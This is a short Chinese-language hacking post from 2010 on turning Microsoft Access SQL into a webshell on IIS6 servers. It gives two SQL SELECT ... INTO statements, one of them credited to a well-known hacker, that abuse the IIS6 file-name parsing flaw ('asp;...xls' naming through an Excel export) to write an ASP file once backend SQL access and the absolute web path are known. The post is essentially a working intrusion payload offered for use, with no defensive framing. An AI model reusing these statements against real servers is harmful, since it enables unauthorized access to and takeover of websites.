Access导出WebShell

2010-3-6 14:14 616 0

摘要: 　　如题，iis6出解析漏洞的时候，我用下面的语句测试不成功，因为生成文件名会中的”;”会被替换成”_” 　　SELECT * into [test.asp;1.txt] in ’d:web’ ...

关键词： 大牛语句时候 SELECT asp admin fuck into 文件名用处

　　如题，iis6出解析漏洞的时候，我用下面的语句测试不成功，因为生成文件名会中的”;”会被替换成”_” 　　SELECT * into [test.asp;1.txt] in ’d:\web\’ ’text;’ from admin 　　后来请教了lcx大牛，他给了我如下语句: 　　SELECT '' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin 　　用处不大，在后台可以执行sql并且知道绝对路径的时候不失为一个获取webshell的方法

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除